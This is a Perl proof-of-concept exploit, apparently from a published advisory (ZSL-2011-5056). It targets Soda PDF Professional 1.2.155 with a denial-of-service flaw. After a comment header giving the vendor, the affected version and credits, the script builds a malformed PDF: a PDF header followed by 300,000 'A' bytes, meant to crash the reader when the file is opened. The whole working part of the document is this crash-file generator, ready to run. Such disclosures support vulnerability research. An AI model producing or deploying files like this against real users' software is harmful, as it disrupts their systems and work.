Soda PDF Professional 1.2.155 Denial Of Service

#!/usr/bin/perl
#
#
# Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)
#
#
# Vendor: LULU software
# Product web page: http://www.sodapdf.com
# Affected version: 1.2.155.1729 (Professional with OCR)
#
# Summary: Increase your efficiency with Soda PDF Professional, the smart
# & simple tool for opening, creating, editing, converting, and securing
# PDF files in a collaborative environment. Save time by using powerful
# automated features like batch PDF creation, professional templates &
# document comparison.
#
# Desc: Soda PDF Pro suffers from a restriction of service (RoS) vulnerability
# when handling PDF or WWF file formats which can be exploited by malicious
# people to cause a denial of service scenario.
#
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
#
#
# Advisory ID: ZSL-2011-5056
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5056.php
#
#
# 10.11.2011
#


use strict;

my $file = "Midnight_in_Paris.pdf"; # or .wwf
my $tovar = "\x25\x50\x44\x46\x0A"."\x41" x 300000;
print "\n\n[*] Creating $file file...\n";
open ZSL, ">./$file" || die "\nCan't open $file: $!";
print ZSL $tovar;
print "\n[.] File successfully mounted!\n\n";
close ZSL;